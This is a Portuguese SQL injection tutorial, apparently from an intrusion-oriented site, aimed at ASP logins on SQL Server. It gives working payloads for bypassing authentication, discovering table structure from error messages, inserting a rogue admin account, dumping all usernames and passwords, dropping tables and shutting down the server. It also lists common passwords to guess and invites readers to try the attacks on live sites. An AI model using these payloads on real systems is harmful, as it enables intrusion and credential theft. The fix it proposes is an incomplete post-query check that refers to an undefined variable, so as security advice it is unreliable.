A Injeção SQL www.invasao.com.br

Modo Básico, passando por senhas em sites

Hoje em dia é uma prática comum os sites pedirem um cadastro do visitante, e criar-lhe um login, dando acesso a áreas restritas e especiais do site. Cadastro esse que na maioria das vezes é gratuito, com a intenção apenas de fidelizar o usuário e claro, ter mais um e-mail para uma possível divulgação, que neste caso não se caracteriza spam, pois o devido usuário previamente aceitou informações vindas daquele site.

Em sites onde o cadastro é pago, aí a coisa muda de figura. O site imagina estar vendendo alguma informação ao visitante, e por isso, pode pedir alguns dados sigilosos do usuário e guardá-los seguramente no seu banco de dados.

Essa técnica geralmente é chamada de SQL Injection, ou seja, injeção de SQL. Funciona em sites que testam a entrada do login em scripts ASP com chamadas internas de SQL.

Vamos à lógica:

O programador, iniciante ou não, pensa em criar uma área restrita para o site, logo precisará de um login e senha para os usuários. Então é criado dentro do banco de dados (em sql ou mdb, mais comum em mdb) uma tabela chamada Users, com alguns campos, dentre eles Usuario, Senha, Nome e Admin. Esses campos informarão exatamente o que o nome diz, ou seja, o login do usuário, a sua respectiva senha, seu nome e um campo flag indicando se é admin do site ou não. Se for admin, geralmente tem acessos a cliques extras, do tipo incluir/editar/deletar alguma informação.

Feito isso, cria dentro da sua página um bloco onde pede o login e senha para o usuário ter acesso as devidas áreas. Geralmente, o formulário tem apenas os dois campos mesmo, user e senha. Esses dois campos são enviados para um script .asp, que validará ou não o login informado. Se for válido, redireciona para a área restrita, senão, volta ao login ou no máximo, informa que o login estava errado.

Vamos a prática:

Dentro desse script .asp, o programador colocou algo desse tipo:

```
[quote]‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))

‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)

SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and
senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn

‘ Verifica se achou um usuário com o login e senha informados

if not objRS.bof then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if
```

Na prática inocente, isso funciona. Funciona muito bem. Testa os usuários, se a senha não for a correta, realmente não entra. Se um usuário foi digitado errado, também não dá acesso.

Mas, na prática hacker, isso funciona melhor ainda, pois permite entrarmos como qualquer usuário do sistema. Até mesmo com status de admin.

Vamos pensar um pouco:

select usuario, senha, nome, admin from Users where usuario=' & cUser & ' and senha=' & cSenha & '

Essa é a string do SQL. Em VB e ASP, sabemos que para concatenarmos uma string dentro de outra, devemos usar aspa simples, invés de aspa dupla, pois a aspa dupla é para a string mestra, e a aspa simples é para a string interna.

Traduzindo a string acima, teríamos:

select usuario, senha, nome, admin from Users where usuario='geek' and senha='s3nh4'

Dessa forma, trocamos as variáveis cUser e cSenha, pelos seus respectivos conteúdos.

Repito, isso funciona muito bem, quando usamos de forma inocente. Vale lembrar que de 10 sites em asp que pedem login e senha, 8 tem essa forma de consulta e estão sujeitos a algum tipo de invasão, dependendo do nível de acesso que permita aos seus usuários.

Você falou, falou, falou…. mas e daí!? Cadê o erro nisso?

Ok. Vamos ao erro:

Se quando formos digitar um login, tivermos essa string de programação do sql na cabeça, podemos formar outra facilmente, que injeta um comando de sql, dentro do que o programador já fez.

Ou seja, se eu digitar Mario no username, o sql ficará:

select usuario, senha, nome, admin from Users where usuario='Mario' and senha='s3nh4'

Repare que as aspas simples continuam e fazem realmente parte do comando, que mostra ao sql que aquele campo deve ser comparado com um dado do tipo string.

Agora, se digitarmos no username Ma'rio (com uma aspa simples no meio), a página dará um erro, pois o comando ficaria desse tipo:

select usuario, senha, nome, admin from Users where usuario='Ma'rio' and senha='s3nh4'

Analisando, vemos que quando fomos comparar o campo usuário, abrimos uma aspa simples, colocamos o conteúdo Ma e fechamos a aspa simples. Para o sql, a comparação terminou aí, o que vem depois, deveria ser comandos. Mas não era. Era a continuação do username, a palavra rio e mais uma aspa simples, que deveria estar fechando a primeira (antes da palavra Ma), mas na realidade está abrindo uma nova string no SQL, e como não é comparado com nada, o SQL retorna erro de programação.

Então, já que o SQL aguarda ansiosamente por outra aspa simples para fechar aquela primeira, porque nós não damos a ele, e aproveitando, injetamos um comando nele.

Imagine se usarmos a string ' or '1 (isso mesmo: aspa simples + espaco + or + espaco + aspa simples + 1), ficaria assim:

select usuario, senha, nome, admin from Users where usuario='' or '1' and senha='s3nh4'

Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o usuario que seja igual a vazio OU 1. Lembrando que 1 em informática é a mesma coisa que True (verdadeiro). Lendo novamente: Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então achei). Nisso, a tabela pega todos os usuários, pois todos dão verdadeiro. Não são igual a vazio, mas o 1 garante que todos sejam válidos. Agora falta só filtrar a senha.

Se usarmos a mesma string mágica na senha, nós seremos o primeiro usuário da tabela, pois:

```
select usuario, senha, nome, admin from Users where usuario='' or '1' and senha='' or '1'
```

Me retorne o usuário que seja igual a vazio (nenhum) OU verdadeiro (todos) E que tenha a senha igual a vazio (nenhum) OU verdadeiro (todos).

Isso traz todos os usuários da tabela, porém com o ponteiro no primeiro usuário.

Quando fazemos uma tabela de usuários, e colocamos no ar, qual o primeiro usuário que incluímos? Nós mesmos, claro. E com nível de administrador. E é exatamente esse que viramos quando usamos essa falha.

Alguns outros casos, são quando queremos entrar com o username de uma determinada pessoa. No username, colocamos o nome dela corretamente, e na senha, como não sabemos, usamos essa string que nos foi enviada por Alah. O SQL, muito esperto, entende que é pra retornar o usuário com o nome informado e que tenha uma senha igual a vazio OU verdadeiro. Ou seja, na verdade, ele irá ignorar a senha, e apontará para o registro que o username seja igual ao que foi informando no campo do formulário.

Outro ponto, é quando não sabemos o nome do usuário, e o site tem muitos cadastros. Então, entramos como qualquer um, e com seus respectivos direitos. No usuário colocamos a string mágica, e na senha chutamos qualquer coisa, por exemplo, 123456 (num site com mais de 200 cadastros, é 99% de certeza que alguém tenha usado essa senha.). Então, o SQL apontará o registro para o primeiro usuário que tenha essa senha no seu cadastro. Outras senhas usadas são: 123123, 123321, 121212, 111222, (o próprio nome do site), abc, abcd, abcdef, abc123, 123abc, e coisas fáceis desse tipo.

E no caso do login pedido ser um e-mail, essa string não funcionará, pois talvez exista uma validação no campo do login para atestar que o que foi digitado tem um formato de e-mail (digo talvez, pois já vi sites pedindo e-mail login mas que não validavam nada…)

Daí, usamos a string que passa por essas validações (como o campo de e-mail é grande, por não se saber qual o mail do usuário, podemos utilizar essa string maior. A string anterior é pequena para caber em qualquer campo de login e senha).

A string que passa pelos e-mails é:

```
eu@eu.com'or'.11'='.11
```

Dessa forma, caso verifiquem se existe @, esta string passará pois tem 1 @ só.
Se verificarem se tem alguma coisa antes da @… ela é válida e também passa.
Se verificarem de trás pra frente na string.. procurando por uma TLD válida (com um ponto na terceira ou quarta casa, de trás pra frente), encontrarão o ponto (.) na terceira casa, que significa uma TLD brasileira (.br) ou de outros países. E se ainda verificarem mais pra trás, por domínios, encontrarão outros 2 pontos, o que torna esse e-mail pertencente a um dominio com subdomínio.

Ok. Sou dono de um site em asp, e uso essa forma de verificação. Agora que você já me ferrou e que todo mundo vai me invadir, pode me dizer como conserto isso?

Claro. É pra isso mesmo que eu estou falando desse erro. Para alertar os sites que estejam com esse problema. Vamos a correção:

O problema todo é que o script só verifica se achou ou não um usuário, não faz um check-up para atestar a veracidade do que foi encontrado. Então, bastaria adicionar o seguinte comando dentro daquele script:

‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))
‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)

SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn

‘ Verifica se achou um usuário com o login e senha informados

if not objRS.bof then
if objRS.fields(usuario) = cUsuario and objRS.fields(senha) = cSenha then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if
else
response.write Login inválido.
end if

Dessa forma não há furos de aspa simples ou aspa dupla, pois o IF não se confunde com isso.

Outra forma também, seria tratar o caractere da aspa simples dentro dos campos de usuário e senha, não deixando ele estar contido nesses campos. Mas é um pouco mais trabalhoso.

Outra coisa que é bom lembrar, é que esse erro não afeta somente a internet. Sistemas feitos em Delphi e Visual Basic com esse tipo de verificação de usuário também estão passíveis a esse erro. Portanto, verifique-os também.

Modo Avançado: buscando e alterando dados.

Agora que você já sabe como entrar em um site restrito, que peça login e senha, feito em asp com sql, vamos aprender agora como ver dados das tabelas, modificar ou até mesmo apagar todo o banco de dados.

Aqui são usados conhecimentos avançados de programação em SQL e, se você não conhece SQL (a linguagem), então essa matéria não vai adiantar muita coisa pra você. Recomendo que caso queira se tornar um perito em invasão de banco de dados, vá aprender SQL primeiro.

Nem só de campos de formulários vive um site. O site também pode passar informações pela linha de endereços. Se você não consegue fazer alguma coisa pelos próprios campos (aqui também usaremos o campo de usuário de um login para fazer as ações), então abra o código fonte da página (aquele com o clique do botão direito do mouse, exibir código fonte), e procure pela linha do Form Action. O que vem depois do Action é a url ou página a ser chamada pelo formulário. Depois, procure nas tags de inputs o campo de entrada do usuário, geralmente denominado name=usuario ou name=user. Feito isso, já temos a nossa ação pela linha de comando, livre das travas impostas pelo formulário, tais como o limite de caracteres ou alguma validação de campo feito em javascript. Dessa forma, invés de preencher o campo usuário no form, você colocaria no endereço uma url desse tipo:

http://www.siteemasp.tld/arquivo.asp?user=comandos em sql

Não se preocupe com os espaços na URL, pois o Internet Explorer é bonzinho e se encarrega de trocar pelos devidos códigos de espaço (%20)

Vamos falar um pouco de teoria

No SQL, o comando de banco de dados é simplesmente uma string com um texto dentro. Esse texto, formado de comandos pré-estipulados, é interpretado pelo SQL e retorna o que foi pedido. Além dos comandos, existe também uma definição de Comentário dentro do SQl, que pra muita gente é algo desconhecido. Da mesma forma que você pode comentar o seu script ou programa, incluindo linhas que dizem pra que serve cada bloco, o SQL também permite, dentro dessa string, um comentário que facilitará o entendimento daquela string quando for lida por outra pessoa. Apesar de quase nunca ser usada na prática, esse caractere de comentário terá uma função extremamente valiosa para nós. Outro caractere que será muito usado e venerado aqui, é o caractere de "faz mais alguma coisa", que além de executar o primeiro comando, manda executar um segundo comando dentro daquele primeiro. Entenderão o que eu estou dizendo mais na frente.

Só pra ilustrar, o caractere de comentário são dois sinais de menos "–" e o caractere de nova execução é o ponto-e-vírgula ";". O caractere asterisco "*" significa todos os campos da tabela.

Finalmente, vamos a prática...

Seria interessante que ao mesmo tempo em que você for lendo, ir também testando em algum site o que será dito adiante. É mais prudente montar um site em asp, com um acesso ao banco de dados em SQL Server próprio, para testar. É sempre válido lembrar que esta matéria é apenas para fins educacionais.

Você está num site em asp, com acesso por SQL, que usa um campo de login e senha vistos por uma sql desse tipo:

SQL = "Select * from usuarios where username='" & user & "' and pass='" & pass & "'"

A sql é desse tipo, mas você como usuário normal do site não conseguiria saber disso.

No campo de usuário, se você colocar o conteúdo:

Usuário: admin' –
Senha: xyz

O que irá acontecer é que você irá entrar no site como se fosse o admin (levando em consideração que admin é o usuário real cadastrado no banco de dados como sendo o admin), mesmo sem saber a senha do admin, pois a senha agora será ignorada.

O caractere – - no final do campo especifica pro sql que daquele ponto em diante tudo é comentário, e a string do SQL final ficaria desse tipo:

SQL = "Select * from usuarios where username='admin' — ' and senha='xyz' "

Ou seja, a verificação " ' and senha=…" virou um simples comentário dentro daquela string e não será processada pelo interpretador do sql. Dessa forma, você entrar simplesmente designando o username.

Creio que agora está entendido o uso do caractere de comentário. Vamos seguir em frente.

Caso você não saiba o nome de algum campo da tabela, ou até mesmo não saiba o nome de alguma tabela, podemos usar as mensagens de erro do SQL para poder conhecer mais sobre as tabelas do site. Façamos da seguinte forma no campo de usuário:

Usuário: ’ having 1=1 –
Senha: xyz

O erro dado será parecido com o abaixo:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.CODIGO’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/arquivo.asp, line 94

Agora, você já sabe o nome da tabela (usuarios) e o nome do primeiro campo (código) da consulta na tabela. Como foi usado *, este campo é o primeiro a ser retornado.

Se fosse usada uma string do tipo:

SQL = “select nome, login, senha, nivel, cpf from usuarios where ….”

O que ia ser retornado é usuarios.NOME, pois é o primeiro campo da pesquisa.

Se você agora montar uma outra string dentro do campo nome, irá saber o próximo campo da tabela:

Usuário: ’ group by usuarios.codigo having 1=1 –
Senha: xyz
Isso irá produzir o seguinte erro:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.login’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/arquivo.asp, line 94

Você agora pode ir gerando erros assim até saber todos os campos que serão retornados da string SQL. Basta para isso dividir os campos com vírgula, assim:
Usuário: ’ group by usuarios.codigo, usuarios.login having 1=1 –

Quando você não obter mais nenhuma mensagem de erro, significa que todos os campos já estão validados e constam na string. Nesse ponto, você já saberá todos os campos e a ordem que eles virão.

Agora é interessante saber o tipo de cada campo e, para isso, vamos obrigar o sql a gerar um novo erro:

Usuário: ’ union select sum(login) from usuarios –

O erro aparece como:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/arquivo.asp, line 94

Isso informa que o campo login é do tipo varchar. Mas se por acaso a mensagem de erro vier da forma a seguir, é porque o campo em questão é do tipo numérico.

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/arquivo.asp, line 94

Agora que você já sabe o nome da tabela, os nomes dos campos e seus respectivos tipos, vamos ao próximo passo, que é usar o caractere de “faz mais alguma coisa”, o excelentíssimo ponto-e-vírgula.

Usuário: ’ ; insert into usuarios (nome, login, senha, nivel, cpf) values (“Geek”, “haxo”, “p4ss”, 1, “12345678900”) –

Preciso explicar!? J Bem, isso faz uma inclusão na tabela usuários de um registro, o qual tem o username sendo haxo e a senha p4ss, o que permitiria a você ser um novo usuário do site, dessa vez devidamente registrado.

Obviamente, isso não se restringe a tabelas de usuários. Serve para qualquer tabela no site, como matérias, enquetes, colunas e até mesmo alguma tabela que guarde dados financeiros como cartões de crédito ou outras coisas.

Uma ténica boa para descobrir o conteúdo dos campos é atribuindo um campo texto a um campo numérico. Por exemplo, vamos supor que o site em um determinado momento, se referencie a uma matéria dentro dele por um código numérico, do tipo idm=432. Daí, podemos descobrir um usuário fazendo o seguinte esquema na URL:

http://www.siteemasp.tld/pagina.asp?idm=(select min(login) from usuarios) –

O erro retornado será assim:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘anderson’ to a column of data type int.
/arquivo.asp, line 94
Ou seja, sabemos que o menor login (na ordem alfabética) é Anderson. Isso acontece dessa forma direta, pois dentro do SQL a comparação de números não pode ter aspas simples, e o campo pode ser comparado com uma nova string sql, desde que entre parênteses.

Agora, podemos também descobrir sua senha, dessa forma:

www.siteemasp.tld/pagina.asp?idm=(select senha from usuarios where login=’anderson’) –
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘14quatorze’ to a column of data type int.
/arquivo.asp, line 94

Agora sabemos um usuário e uma senha real do site. Claro que se a senha do Anderson fosse numérica, o que aconteceria era aparecer uma matéria qualquer, mas bastaria pegar o ID da matéria, em algum lugar do código fonte, ou até mesmo na barra de endereços (caso ela mudasse), e saberíamos a senha dele, do mesmo jeito.

Uma outra situação, porém bem mais complexa e avançada, é a criação de SQL Transactions, que nada mais é do que um pequeno script que roda dentro do SQL e retorna uma resposta programada.

A seguinte linha, manda que seja criada uma Transact SQL concatenando todos os usuários e senha da tabela, e retornando em uma mensagem.

Usuário: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+login+’/’+senha from usuarios where login>@ret select @ret as ret into alluser end –

Depois de enviado, isso cria uma tabela chamada alluser com um campo nomeado como ret, que contem um único registro com todos os logins e senhas concatenados.

Para ver o resultado disso, basta executar a url de matérias, dessa vez selecionando esse campo da nova tabela:

www.siteemasp.tld/pagina.asp?idm=(select ret from alluser) –

O retorno será alguma coisa desse tipo:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': atadmin/umasenha user3/abcd anderson/14quatorze' to a column of data type int.
/arquivo.asp, line 94

Depois de ver os dados da nova tabela, apague-a:

Usuário: '; drop table alluser –

Captaram a mensagem? Isto é quase tudo que se pode fazer com o SQL Server, quando mau programado dentro de uma ASP. Existem pessoas que acham que simplesmente limitando o tamanho de um campo dentro do formulário, já estão se prevenindo de selects e outros comandos mais. Imaginemos um campo de usuário limitado em 12 caracteres:

Usuário: ';shutdown–

Existe ainda formas de, por comandos em SQL, executar comandos arbitrários dentro do server que roda o sql server. Você por exemplo, poderia obter o dir de um c: ou até mesmo criar e apagar arquivos dentro da máquina. Mas isso, é um outro assunto. Por hora, tá bom.

Vale lembrar que todas essas situações descritas aqui funcionam em sites com SQL Server. Sites que tem um MDB como banco de dados, os selects funcionarão, mas coisas como SQL Transact e alguns outros comandos peculiares ao SQL Server não irão funcionar.

Você é programador de um site (ou vários) em asp e está perplexo com tudo isso, pois todos os sites que você fez estão vulneráveis a esse erro, e você precisa de uma solução rápida para consertar todos eles? Infelizmente, não existe. Você vai ter que verificar o conteúdo de cada variável, dentro da própria asp, antes de coloca-la dentro de um comando sql. Difícil e penoso?

Pois é... quem mandou escolher essa profissão...